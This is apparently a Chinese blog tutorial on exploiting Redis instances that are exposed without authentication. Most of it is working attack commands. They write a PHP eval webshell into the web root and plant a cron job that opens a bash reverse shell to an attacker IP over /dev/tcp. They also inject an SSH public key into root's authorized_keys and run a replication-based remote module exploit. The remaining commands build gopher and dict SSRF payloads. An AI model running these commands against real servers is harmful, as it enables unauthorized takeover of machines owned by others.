0
点赞
收藏
分享

微信扫一扫

webRtc麦克风摄像头检测

redis安装及配置

关闭防护模式
在这里插入图片描述
修改成 0.0.0.0 ,修改白名单为任意IP地址
在这里插入图片描述
redis在设有防护模式的场景下,无法输入有效命令
flushall为删除Redis数据库数据指令,在实战中切勿使用,牢底坐穿术!
在这里插入图片描述

攻击利用

redis基本命令

写入WebShell

set xx "\n\n\<?php @eval($_POST['test']);?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save

在这里插入图片描述在这里插入图片描述

写入计划任务

先在自己的服务器上监听一个端口
nc -lvnp 7999

然后执行命令:
redis-cli -h 192.168.1.108
set  xx   "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

在这里插入图片描述在这里插入图片描述## 写入 SSH公钥

在本地生成一对密钥:
$ ssh-keygen -t rsa
然后将公钥写入 key.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
之后利用redis未授权访问漏洞将公钥写到/root/.ssh/id_rsa文件中
$ cat key.txt | redis-cli -h ip -x set crackit
$ redis-cli -h ip -x set crackit
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys " //必须为authorized_keys,写死在redis.conf配置文件里的
save
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行
$ ssh –i  id_rsa ip

在这里插入图片描述
在这里插入图片描述

redis 4.x/5.x 主从复制导致的命令执行

redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
漏洞环境采用的是vulhub
redis主从复制命令执行漏洞脚本下载地址
脚本命令:

python redis-master.py -r target-ip -p 6379 -L local-host -P 8888 -f RedisModulesSDK/exp.so -c "id"

在这里插入图片描述

利用gopher协议打redis

在实战中经常会遇到SSRF漏洞,可利用gopher协议,结合redis未授权,对服务器进行写入Webshell或者定时任务,这里仅简述用法,如何结合SSRF需考虑实际场景
脚本下载地址
在Gopherus-master/scripts文件夹中找到Redis.py
default 修改值为 “<?php eval($_GET['cmd']); ?>”
在这里插入图片描述利用脚本生成POC在这里插入图片描述使用curl写入Webshell

在这里插入图片描述测试漏洞攻击成功
在这里插入图片描述

利用dict协议打redis

dict探测端口开放情况
对于未开放的端口,均会回复:
Failed to connect to 192.168.121.152 port xxxx after 2047 ms: Couldn’t connect to server
在这里插入图片描述dict操作redis,举一反三同样也可以使用dict对redis服务器写入Webshell、定时任务等,,这里不再赘述。
对于空格,可以使用URFL编码"%20"或者":"替代
在这里插入图片描述

举报

相关推荐

0 条评论